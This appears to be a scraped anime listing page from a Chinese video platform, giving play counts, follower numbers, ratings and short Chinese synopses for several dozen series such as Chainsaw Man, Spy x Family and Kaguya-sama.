+

简介:描述背負了父親遺留下龐大債務、因此過著極端負窮生活的少年淀治,他因為救了惡魔波奇塔,並與牠一起以惡魔獵人的身分斬殺低階惡魔來換取酬勞。有一天,流氓騙了淀治,讓他成為一堆惡魔的祭品,淀治在臨死之際,波奇...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 国创 中国大陆 + + + + 总播放 1012.2 万 + + + 追番人数 304.1 万 + + + 硬币数 3.6 万 + + + 弹幕总数 4.4 万 + + + 评分 9.7 + + +
+

简介:《如果历史是一群喵》是一部以华夏历史为主线的非严谨萌系动画,作品以风趣幽默的语言对历史事件进行了重新解读,更容易为年轻人记忆和接受。在表达上,作品用现代动画的手法塑造了12只体态丰盈、造型可爱的猫咪,...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 101.7 万 + + + 追番人数 5.3 万 + + + 硬币数 1.1 万 + + + 弹幕总数 2.7 万 + + + 评分 - + + +
+

简介:描述平凡的高中生柏樹朝,在接二連三遇上的麻煩中,與五位少女相遇而展開的青春物語...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 47.6 万 + + + 追番人数 2.8 万 + + + 硬币数 4491 + + + 弹幕总数 1.3 万 + + + 评分 - + + +
+

简介:升上了高三的次郎,在名為「夫婦實習」的課程當中與身為非現充的自己是正反對存在的班上的辣妹・藤崎星一起居住。但是,得知有更換有搭檔制度的兩人,為了各自喜歡的人逼不得已只好演出像是【夫婦】的事情…!?...

+
+
+ + +
+
+
+
+ +
+ + + + 未完结0 + + + + + 番剧 日本 + + + + 总播放 1346.7 万 + + + 追番人数 30.7 万 + + + 硬币数 12.0 万 + + + 弹幕总数 17.8 万 + + + 评分 - + + +
+

简介:每個人都有不可告人的一面。 + +這是一個世界各國均暗地裡進行激烈情報戰的時代。東國(Ostania)與西國(Westalis)的冷戰狀態已經持續數十年。 + +<黃昏>是西國情報局東國對策科<WISE>的一...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 51.3 万 + + + 追番人数 2.6 万 + + + 硬币数 1794 + + + 弹幕总数 8415 + + + 评分 - + + +
+

简介:雷因是勇者隊伍的一員。他身為「馭獸使」,能夠跟動物簽訂契約,以使用牠們的力量。他並沒有戰鬥技能,一直以輔助形式協助勇者隊伍。某天,勇者認為不會戰鬥的雷因對隊伍實在沒有作用,便將他趕出勇者隊伍。 + +雷因...

+
+
+ + +
+
+
+
+ +
+ + + + 全20话0 + + + + + 国创 中国大陆 + + + + 总播放 1.8 亿 + + + 追番人数 347.2 万 + + + 硬币数 58.1 万 + + + 弹幕总数 146.0 万 + + + 评分 8.6 + + +
+

简介:凹凸大赛将迎来尾声, +众人也由此走向命运的分叉口。 +金终于获知了关于姐姐的消息,格瑞也走到了真相面前,鬼狐找到了大赛的漏洞联合了嘉德罗斯小队与雷狮海盗团,安迷修的骑士之道上出现了曾经的引路人,艾比带着...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 107.0 万 + + + 追番人数 6.3 万 + + + 硬币数 1.1 万 + + + 弹幕总数 2.3 万 + + + 评分 - + + +
+

简介:以 1999 年的日本作為故事舞台,描寫對女僕有所憧憬的少女們在秋葉原工作的故事。...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 60.5 万 + + + 追番人数 3.3 万 + + + 硬币数 3343 + + + 弹幕总数 6423 + + + 评分 - + + +
+

简介:故事描述男主角基克爾原本是梅卜基鎮最強的護衛獵人,但他想到自己在懂事後就投身於訓練,長大後也不停的接案工作,同期不是已經結婚,就是過著放蕩的淫靡生活,空虛的他便向公會的受付娘艾諾梅要求讓他辭職去交女朋...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 78.2 万 + + + 追番人数 6.3 万 + + + 硬币数 8013 + + + 弹幕总数 7217 + + + 评分 - + + +
+

简介:故事描述平凡又對青春抱有憧憬的中二少年影山茂夫(通稱=路人),其實擁有特別的超能力。冒牌靈能者、可疑的宗教團體其他等等……想利用他這種超能力的各種怪咖都被他吸引而來,少年的心中似乎有股「力量」正在蠢蠢...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 9317.6 万 + + + 追番人数 530.7 万 + + + 硬币数 64.1 万 + + + 弹幕总数 33.2 万 + + + 评分 9.9 + + +
+

简介:一旦达到100时便会发生情况的青春超能力故事。 +某个数值达到「100」时就会爆发的少年——龙套。 +他看似平平无奇,其实拥有着强大的超能力。 +他的师父,冒牌灵能力者——灵幻新隆开有一家灵类咨询所。在帮师...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 3673.8 万 + + + 追番人数 92.0 万 + + + 硬币数 4.0 万 + + + 弹幕总数 8.8 万 + + + 评分 4.9 + + +
+

简介:他是于神话中留名的史上最强魔王瓦尔瓦托斯。 + +他以王的身份走完了一生,由于强大而无比孤独,因此向往着平凡的生活, +并在数千年后的世界转生成了村民亚德·梅特尔。 + +然而,在他转生的未来,魔法文明不断衰落...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 25.3 万 + + + 追番人数 1.6 万 + + + 硬币数 1550 + + + 弹幕总数 4304 + + + 评分 - + + +
+

简介:鍊金術師在本作的世界中是相當受到歡迎的職業,雖然只要努力就可以就讀鍊金術學校,但要正式考取資格並沒有那麼輕鬆,連有錢人都不一定可以順利當上鍊金術師。在孤兒院長大的女主角莎拉薩半工半讀終於順利從鍊金術學...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 1836.0 万 + + + 追番人数 228.8 万 + + + 硬币数 7.4 万 + + + 弹幕总数 10.4 万 + + + 评分 9.8 + + +
+

简介:由于KING RECORDS出了岔子,电视动画和第三季同时开始的梦想破灭了… +二人究竟能否活到动画开播…?...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 34.2 万 + + + 追番人数 1.7 万 + + + 硬币数 600 + + + 弹幕总数 3463 + + + 评分 - + + +
+

简介:阿爾・韋恩是個生平無大志,只想終生務農的農民。為了成為頂尖的農民,他不斷從事農業工作,並鑽研所有與農民相關的技能。然而就在他將農民相關技能全部練滿的時候,他的生活卻開始急轉直下,偏往與農民截然不同的方...

+
+
+ + +
+
+
+
+ +
+ + + + 全8话0 + + + + + 国创 中国大陆 + + + + 总播放 3580.8 万 + + + 追番人数 155.1 万 + + + 硬币数 52.2 万 + + + 弹幕总数 28.2 万 + + + 评分 9.5 + + +
+

简介:为躲避无规律发生的天灾,大多数泰拉人生活在移动城市中。天灾过后会留下蕴藏巨大能量的源石,这在给予文明飞跃进步的同时,也引发了极具传染性的不治之症——矿石病。 +致力于解决天灾与矿石病带来的诸多问题,罗德...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 106.6 万 + + + 追番人数 5.0 万 + + + 硬币数 6130 + + + 弹幕总数 1.2 万 + + + 评分 - + + +
+

简介:一回神,我發現自己已經轉生至異世界了。不是作為普通人類,而是一把劍。再往周圍環顧,原來這裡是個魔物猖獗,險象環生的草原地帶。覺得性命受到威脅的主角,運用讓自己身體飄浮的能力,逐步獵殺魔物。就在這時,主...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 37.2 万 + + + 追番人数 2.1 万 + + + 硬币数 1238 + + + 弹幕总数 3771 + + + 评分 - + + +
+

简介: +女主轉生成游戲裡的惡役大小姐,知道劇情走向的她,為了迴避死亡Flag,通過談戀愛來攻略最終BOSS魔王大人,一次不行再繼續攻略......

+
+
+ + +
+
+
+
+ +
+ + + + 全38话0 + + + + + 番剧 日本 + + + + 总播放 2.8 亿 + + + 追番人数 790.5 万 + + + 硬币数 143.8 万 + + + 弹幕总数 152.0 万 + + + 评分 9.8 + + +
+

简介:西历2011年,美国·佛罗里达州。 +在与恋人兜风途中遇到了交通事故的空条徐伦,因被陷害而获刑15年。 + +收容设施是州立绿海豚街重警备监狱——别名「水族馆」。 +深陷绝望之中的徐伦,在手握父亲所托的吊坠时...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 6069.9 万 + + + 追番人数 218.4 万 + + + 硬币数 35.2 万 + + + 弹幕总数 24.9 万 + + + 评分 9.2 + + +
+

简介:安宁的日常——背后却暗藏秘密 +将犯罪防患于未然的秘密组织——“DA(Direct Attack)” +隶属于DA的少女特工——“莉可丽丝” + +理所当然的日常,都要归功于她们。 + +咖啡厅“莉可莉可” 作为...

+
+
+ + +
+
+
+
+ +
+ + + + 全16话0 + + + + + 国创 中国大陆 + + + + 总播放 8761.7 万 + + + 追番人数 143.8 万 + + + 硬币数 23.6 万 + + + 弹幕总数 26.4 万 + + + 评分 9.5 + + +
+

简介:都市普通青年安林偶遇强大修行者,对方赠予他一套战神系统,并把他送至灵界修炼。初到灵界,资质平平的安林被辱为“最强关系户”。为洗去污名,乐观的安林在系统的帮助下,提高了修行功力,他还凭借数次卓越表现,结...

+
+
+ + +
+
+
+
+ +
+ + + + 全6话0 + + + + + 番剧 日本 + + + + 总播放 769.5 万 + + + 追番人数 421.2 万 + + + 硬币数 2.2 万 + + + 弹幕总数 2.8 万 + + + 评分 9.6 + + +
+

简介:《名侦探柯南:零的日常》改编自同名漫画,该故事的主人公是安室透,29岁,是一个混血儿,有着一头显眼的金发,以及小麦色的皮肤。 +安室透在白罗咖啡厅工作,而白罗咖啡厅的楼上是名侦探毛利小五郎的侦探事务所,...

+
+
+ + +
+
+
+
+ +
+ + + + -0 + + + + + 国创 中国大陆 + + + + 总播放 42.4 万 + + + 追番人数 118.0 万 + + + 硬币数 1553 + + + 弹幕总数 1361 + + + 评分 - + + +
+

简介:郝仁原本是个生活在四线小城,靠着出租老宅的微薄租金度日的躺平青年。在一次出门务工时竟然阴差阳错成为一名“宇宙片警”。当他还在为收容上级安排的一众异常生物房客们焦头烂额的时候,他的辖区——梦位面宇宙,已...

+
+
+ + +
+
+
+
+ +
+ + + + -0 + + + + + 国创 中国大陆 + + + + 总播放 212.0 万 + + + 追番人数 246.2 万 + + + 硬币数 5.2 万 + + + 弹幕总数 4900 + + + 评分 - + + +
+

简介:这是一个由人们的信赖造就英雄的世界,而获得最多信赖的英雄被誉为——X。在这个世界里,人们的信赖是可以被数据统计出来的,并且这些数值会反映在每个人的手腕上。只要获得足够多的信赖值,普通人也能拥有超能力,...

+
+
+ + +
+
+
+
+ +
+ + + + 未完结0 + + + + + 番剧 日本 + + + + 总播放 105.7 万 + + + 追番人数 4.9 万 + + + 硬币数 6723 + + + 弹幕总数 2.0 万 + + + 评分 - + + +
+

简介:剛出生就被抱錯的高中生海野凪終於要與親生父母見面了。 +見面那天,他偶然遇見了名牌女子學校的女高中生天野繪裡香。 + +在不想嫁給未婚夫的繪裡香的請求下,凪被強行拉去假扮了她的男朋友。 +…然而,他們兩個其實...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 345.4 万 + + + 追番人数 13.3 万 + + + 硬币数 3.0 万 + + + 弹幕总数 4.3 万 + + + 评分 - + + +
+

简介:時為 2138 年。在能夠於虛擬現實中自由遊玩的體感型遊戲全盛時代中,曾經捲起一大熱潮的網路遊戲《YGGDRASIL》安靜地迎來了停服——本來應該是這樣。但,遊戲的結束時間已經過了,卻無法登出遊戲。N...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 197.1 万 + + + 追番人数 10.6 万 + + + 硬币数 1.9 万 + + + 弹幕总数 2.7 万 + + + 评分 - + + +
+

简介:因某個理由而在入學考試偷工減料的主人公綾小路清隆,被分配到了被揶揄為次品聚集地的 D 班。與同一個班級、成績優秀但性格超麻煩的美少女 堀北鈴音,還有由牽掛與善良構成的天使般的少女 櫛田桔梗的相遇,使...

+
+
+ + +
+
+
+
+ +
+ + + + 全26话0 + + + + + 番剧 日本 + + + + 总播放 242.9 万 + + + 追番人数 12.0 万 + + + 硬币数 2.9 万 + + + 弹幕总数 4.7 万 + + + 评分 - + + +
+

简介:由於發現新能量資源而建造的巨大海上都市・拜倫市。在那裡經營著一家小公司的青年・シュウ。因為過度揮灑金錢導致生活貧困。感到擔心而前往他那事務所兼自家的一名少女・キサラ。她在拜倫市就讀高中的同時也包辦了工...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 78.9 万 + + + 追番人数 4.0 万 + + + 硬币数 4483 + + + 弹幕总数 8241 + + + 评分 - + + +
+

简介:經常被同學欺淩的南雲始,與同班同學一起被召喚到了異世界。與接連著發現了自己的那作弊般的能力的同班同學們相反的是,始卻得到了煉成師這個平凡職業。即使在異世界也是最弱的他,被某個同班同學陷害後掉進了迷宮的...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 44.1 万 + + + 追番人数 3.7 万 + + + 硬币数 5151 + + + 弹幕总数 1.1 万 + + + 评分 - + + +
+

简介:初學將棋的撲克臉高一生:田中步,喜歡著棋藝高超又容易害羞的學姊八乙女漆。雖然經常直率地說出怦然心動的台詞,卻暗自發誓,要用將棋贏過學姊才能告白。在這宛如棋局般一攻一防的戀愛對弈中,步一次又一次地戰敗,...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 - + + + + 总播放 28.8 万 + + + 追番人数 2.8 万 + + + 硬币数 2511 + + + 弹幕总数 3815 + + + 评分 - + + +
+

简介:某天,霧島透突然被任命為櫻樹八重花的照料專員(保姆)…...!霧島在雷厲風行的少當家與照料大小姐的保姆,兩種身份中來回切換,但與此同時各種麻煩與糾紛也紛至遝來。在被麻煩事糾纏的同時,透與八重花也慢慢地...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 54.0 万 + + + 追番人数 3.6 万 + + + 硬币数 1865 + + + 弹幕总数 3974 + + + 评分 - + + +
+

简介:某一天,對這個世界感到絕望的加賀道夫找到一款可疑的網路遊戲。如果無法在這個世界活下去,那就到異世界生活吧,受到這句話的吸引,完成設定和角色塑造的道夫,來到一個和現實不同的真正異世界。各式各樣的技能和職...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 - + + + + 总播放 184.5 万 + + + 追番人数 10.8 万 + + + 硬币数 1.8 万 + + + 弹幕总数 3.6 万 + + + 评分 - + + +
+

简介:伊理戶水斗曾在國二到國三的時光交過名為綾井結女的女朋友。水斗如此形容他的初戀:「這個老天爺設下的陷阱。換言之就是命運。」後來因為彼此性格不合而在國中畢業時分手了。兩人本以為就這樣到此為止。為了避開對方...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 90.3 万 + + + 追番人数 4.8 万 + + + 硬币数 7156 + + + 弹幕总数 1.3 万 + + + 评分 - + + +
+

简介:木之下和也是住在都內,不愛用功的大學生,因為被交往一個月的女友甩了,賭氣登入「出租女友」,與水原千鶴約會。約會到一半接到祖母病倒的通知而趕往醫院的和也,為了實現祖母希望和也找到好對象的願望,謊稱千鶴是...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 5878.4 万 + + + 追番人数 223.9 万 + + + 硬币数 36.8 万 + + + 弹幕总数 52.4 万 + + + 评分 8 + + +
+

简介:超级“帅气女友“登场! + +和泉是一名拥有不幸体质的高中男生,他有一个和他同班的女朋友,叫做式守。 +式守的笑容十分甜美、温柔,跟和泉在一起的时候脸上总是洋溢着幸福。 + +她平时可爱动人,心中满是爱情,...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 1428.1 万 + + + 追番人数 192.5 万 + + + 硬币数 14.2 万 + + + 弹幕总数 10.1 万 + + + 评分 9.9 + + +
+

简介:超人气小镇日常奇幻故事回来啦! +自身魔族的力量苏醒之后,为了解除暗之一族的封印,主人公夏美子尽管实力微弱却依然奋斗着。 +魔法少女桃原本应是她的对手,但不知为何她们却开始互相协助,一起追寻消失在镇上的魔...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 国创 中国大陆 + + + + 总播放 8470.3 万 + + + 追番人数 161.8 万 + + + 硬币数 66.0 万 + + + 弹幕总数 63.0 万 + + + 评分 9.4 + + +
+

简介:因为召唤过程中的失误,30岁社畜刘依诺意外被召唤到游戏世界中。为了尽快回到现实,刘依诺开始协助18岁的“勇者”田恩雅拯救世界。本来就是高玩的依诺凭借自己出色的认知,在异世界里如鱼得水。恩雅也从一个任性...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 1.1 亿 + + + 追番人数 930.5 万 + + + 硬币数 103.1 万 + + + 弹幕总数 75.9 万 + + + 评分 9.5 + + +
+

简介:秀知院学园是秀才云集的菁英学校,在学生会中担任学生会副会长·四宫辉夜遇见了学生会长·白银御行。 +原以为这两个任谁都觉得很登对的天才应该很快就会在一起,但这两人却因为过高的自尊心导致他们终没能向对方告白...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 124.9 万 + + + 追番人数 7.5 万 + + + 硬币数 1.0 万 + + + 弹幕总数 1.5 万 + + + 评分 - + + +
+

简介:超級“帥氣女友“登場! + +和泉是一名擁有不幸體質的高中男生,他有一個和他同班的女朋友,叫做式守。 +式守的笑容十分甜美、溫柔,跟和泉在一起的時候臉上總是洋溢著幸福。 + +她平時可愛動人,心中滿是愛情,...

+
+
+ + +
+
+
+
+ +
+ + + + 未完结0 + + + + + 番剧 日本 + + + + 总播放 55.1 万 + + + 追番人数 3.9 万 + + + 硬币数 3594 + + + 弹幕总数 4356 + + + 评分 - + + +
+

简介:在備受期待的菁英就讀的秀知院學園,在學生會裡相遇的副會長·四宮輝夜與會長白銀御行對彼此都有好感,但兩人的自尊心都不允許自己就這樣向對方告白,就在這樣的情況下僵持了半年——完全不夠坦率的兩人,認為自己只...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 国创 中国大陆 + + + + 总播放 1322.0 万 + + + 追番人数 275.4 万 + + + 硬币数 4.7 万 + + + 弹幕总数 5.1 万 + + + 评分 9.7 + + +
+

简介:《如果历史是一群喵》是一部以华夏历史为主线的非严谨萌系动画,作品以风趣幽默的语言对历史事件进行了重新解读,更容易为年轻人记忆和接受。在表达上,作品用现代动画的手法塑造了12只体态丰盈、造型可爱的猫咪,...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 46.0 万 + + + 追番人数 2.8 万 + + + 硬币数 4958 + + + 弹幕总数 1.0 万 + + + 评分 - + + +
+

简介:女忍者村赤組禁止忍者們與男性接觸,其中「戌班」的成員山茶花和朝顏在某晚偷偷出外執行任務,生氣的老師要求身為班長的樁把兩人抓回來。樁卻因為這次事件,滿腦子開始都在幻想著男生的樣子…...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 127.0 万 + + + 追番人数 6.0 万 + + + 硬币数 1.9 万 + + + 弹幕总数 2.4 万 + + + 评分 - + + +
+

简介:普通少女吉田優子(綽號是夏美子),某日自己被封印的魔族力量突然覺醒,不但長出了角和尾巴,還必須打倒住在鎮上某處的「魔法少女」。 + +為了破除家族「一家四口每月生活費 4 萬圓」(新台幣 1 萬元)的詛咒...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 33.9 万 + + + 追番人数 2.1 万 + + + 硬币数 1170 + + + 弹幕总数 2591 + + + 评分 - + + +
+

简介:我至今,依然無法想起。 +自己究竟是什麼——。 +魔法學校的學生塞維爾沒有任何入學前的記憶。 +在不知自己為何會在這裡的狀態下,連校園生活也有種莫名的空虛感, +由於不知道該如何努力,學習成績也總是倒數第一。...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 50.7 万 + + + 追番人数 3.2 万 + + + 硬币数 2371 + + + 弹幕总数 5643 + + + 评分 6.4 + + +
+

简介:普普通通的大學生——岩谷尚文受到召喚來到異世界,成為了四聖勇者之一——“盾之勇者”。儘管蒙受不白之冤,多次遭到迫害,他依舊和拉芙塔莉雅、菲洛和梅爾蒂這幾個好夥伴齊心協力,從威脅世界的災厄“浪潮”中保護...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 8451.9 万 + + + 追番人数 587.3 万 + + + 硬币数 34.7 万 + + + 弹幕总数 55.8 万 + + + 评分 6.1 + + +
+

简介:普普通通的大学生——岩谷尚文受到召唤来到异世界,成为了四圣勇者之一——“盾之勇者”。尽管蒙受不白之冤,多次遭到迫害,他依旧和拉芙塔莉雅、菲洛和梅尔蒂这几个好伙伴齐心协力,从威胁世界的灾厄“浪潮”中保护...

+
+
+ + +
+
+
+
+ +
+ + + + 未完结0 + + + + + 番剧 日本 + + + + 总播放 27.8 万 + + + 追番人数 1.7 万 + + + 硬币数 1434 + + + 弹幕总数 2469 + + + 评分 - + + +
+

简介:『我可以看到,我勝利的道路……』 +『這次一定可以打敗那個傢伙。所以,再一次……接收!靈魂賭徒 布魯姆!』 +在王的統治之下,一切的優劣都有TCG「創之界限」的力量來決定的都市, +「新京都」。 +...

+
+
+ + +
+
+
+
+ +
+ + + + 未完结0 + + + + + 番剧 日本 + + + + 总播放 223.3 万 + + + 追番人数 9.3 万 + + + 硬币数 3.3 万 + + + 弹幕总数 4.5 万 + + + 评分 - + + +
+

简介:在備受期待的菁英就讀的秀知院學園,在學生會裡相遇的副會長·四宮輝夜與會長白銀御行對彼此都有好感,但兩人的自尊心都不允許自己就這樣向對方告白,就在這樣的情況下僵持了半年——完全不夠坦率的兩人,認為自己只...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 120.8 万 + + + 追番人数 5.9 万 + + + 硬币数 1.4 万 + + + 弹幕总数 1.6 万 + + + 评分 - + + +
+

简介:百萬動漫愛好者一鍵三連推薦的入宅必看之作。 +狂三、十香、士道、與精靈約會,使其嬌羞等大家熟悉的名字和梗,都源于《約戰》系列動畫~如果你還沒有看過,不妨就從最新的第四部開始,再往前補吧:) + +名為五河士...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 2761.6 万 + + + 追番人数 113.8 万 + + + 硬币数 15.7 万 + + + 弹幕总数 18.4 万 + + + 评分 9.8 + + +
+

简介:春季,樱花飞舞的某一天,一对懵懵懂懂的情侣在草地上并肩而坐。 +他们是相川不动和祸原死死美。 +但他们的真实身份其实是,冰冻战队冰果五战士的队长「红色冰果」和 +邪恶秘密组织月光的打手「死神公主」! +原本互...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 6887.7 万 + + + 追番人数 587.4 万 + + + 硬币数 90.3 万 + + + 弹幕总数 52.7 万 + + + 评分 9.8 + + +
+

简介:百万动漫爱好者一键三连推荐的入宅必看之作。 +狂三、十香、士道、与精灵约会,使其娇羞等大家熟悉的名字和梗,都源于《约战》系列动画~如果你还没有看过,不妨就从最新的第四部开始,再往前补吧:) + +名为五河士...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 129.4 万 + + + 追番人数 5.1 万 + + + 硬币数 6882 + + + 弹幕总数 1.9 万 + + + 评分 - + + +
+

简介:敘述主角「亞克」在玩線上 RPG 的過程中玩到睡著,一醒來發現自己以遊戲角色的樣貌出現在未知的異世界。而他的樣貌,竟是外面穿著盔甲、裡頭全是骨頭的骸骨騎士。覺得要是自己的真面目曝光,可能會被當成怪物消...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 105.3 万 + + + 追番人数 4.7 万 + + + 硬币数 3119 + + + 弹幕总数 1.7 万 + + + 评分 - + + +
+

简介: +他是於神話中留名的史上最強魔王瓦爾瓦托斯。 + +他以王的身份走完了一生,由於強大而無比孤獨,因此嚮往著平凡的生活, +並在數千年後的世界轉生成了村民亞德·梅特爾。 + +然而,在他轉生的未來,魔法文明不斷衰...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 112.9 万 + + + 追番人数 5.4 万 + + + 硬币数 7549 + + + 弹幕总数 1.3 万 + + + 评分 - + + +
+

简介: +勇者雷歐從魔王軍的侵略中拯救了世界。 +然而對於迎來和平的人族來說,他的強大實力是個極大的威脅。 +他最終被趕出了聖都。 +失去了地位、榮譽和安身之所, +四處漂泊的勇者最終來到了……千瘡百孔的魔王軍?! +...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 79.6 万 + + + 追番人数 3.4 万 + + + 硬币数 4144 + + + 弹幕总数 1.1 万 + + + 评分 - + + +
+

简介:從現代日本轉生到“戀愛遊戲”世界的里昂,發現這裡女尊男卑,對男性很不友好。身為路人角色的他,為了擺脫自己因地位低下而被肆意決定的人生,決定活用從遊戲中得到的知識,保持路人角色的身份,取得“失落物品”來...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 6707.0 万 + + + 追番人数 166.2 万 + + + 硬币数 28.1 万 + + + 弹幕总数 46.3 万 + + + 评分 9.1 + + +
+

简介:从现代日本转生到“恋爱游戏”世界的里昂,发现这里女尊男卑,对男性很不友好。身为路人角色的他,为了摆脱自己因地位低下而被肆意决定的人生,决定活用从游戏中得到的知识,保持路人角色的身份,取得“失落物品”来...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 81.1 万 + + + 追番人数 5.2 万 + + + 硬币数 5943 + + + 弹幕总数 9845 + + + 评分 - + + +
+

简介:阿波連玲奈是一個身材嬌小,安靜的女孩子,有點不太擅長把握與他人之間的距離。 +這讓坐在隔壁座位的來堂同學,總覺得到有種距離感。 +有一天,來堂同學撿起了阿波連同學掉在地上的橡皮,以此為契機兩人之間的距離開...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 8383.4 万 + + + 追番人数 346.8 万 + + + 硬币数 82.1 万 + + + 弹幕总数 86.8 万 + + + 评分 9.7 + + +
+

简介:阿波连玲奈是一个身材娇小,安静的女孩子,有点不太擅长把握与他人之间的距离。 +这让坐在隔壁座位的来堂同学,总觉得到有种距离感。 +有一天,来堂同学捡起了阿波连同学掉在地上的橡皮,以此为契机两人之间的距离开...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 58.1 万 + + + 追番人数 3.7 万 + + + 硬币数 4492 + + + 弹幕总数 9360 + + + 评分 - + + +
+

简介:這個世界,會出現來自異世界日本的「迷途人」。由於過去曾經有失控的迷途人引發世界性的大災難,因此只要一發現這些人,就必須讓「處刑人」殺死他們。在這樣的環境下,處刑人瑪瑙遇見了年輕的迷途人燈里。冷靜的瑪瑙...

+
+
+ + +
+
+
+
+ +
+ + + + 未完结0 + + + + + 番剧 日本 + + + + 总播放 30.0 万 + + + 追番人数 2.7 万 + + + 硬币数 1566 + + + 弹幕总数 3213 + + + 评分 - + + +
+

简介:在沖繩合宿中,在由於朝陽的雲隙光而達到了最高氛圍值的橋上,雪村和冰室進行了理論值最高的親吻,但由於採集的唾液量並不充足,於是決定再次測量。 +為拜訪唾液檢測的專家,一行人動身前往理工部生命科學學院。而他...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 1767.5 万 + + + 追番人数 94.5 万 + + + 硬币数 9.4 万 + + + 弹幕总数 10.8 万 + + + 评分 8.3 + + +
+

简介:曾经来自日本,给世界带来巨大灾害的「迷途者」。 +他们过去给世界带来了毁灭性的灾祸,因此被定为了「禁忌」,必须秘密将其处刑。 +以处刑「迷途者」为职的「处刑人」玛瑙在某一天遇见了日本少女灯里。 +玛瑙本打算...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 2498.8 万 + + + 追番人数 332.6 万 + + + 硬币数 18.7 万 + + + 弹幕总数 13.8 万 + + + 评分 6.6 + + +
+

简介:在冲绳合宿中,在由于朝阳的云隙光而达到了最高氛围值的桥上,雪村和冰室进行了理论值最高的亲吻,但由于采集的唾液量并不充足,于是决定再次测量。 +为拜访唾液检测的专家,一行人动身前往理工部生命科学学院。而他...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 357.0 万 + + + 追番人数 16.8 万 + + + 硬币数 4.3 万 + + + 弹幕总数 7.2 万 + + + 评分 - + + +
+

简介:「丞相,穿越了!?」 +三國時代的孔明在五丈原抱憾離世, +如今他恢復成年輕時的模樣,以一身古時打扮來到現代日本涉谷。 +突兀的裝扮讓人以為他在Cosplay, +後來被人帶往夜店狂歡, + +孔明在那裡認識了一...

+
+
+ + +
+
+
+
+ +
+ + + + 全11话0 + + + + + 番剧 日本 + + + + 总播放 2.7 亿 + + + 追番人数 1409.3 万 + + + 硬币数 95.1 万 + + + 弹幕总数 101.6 万 + + + 评分 9.7 + + +
+

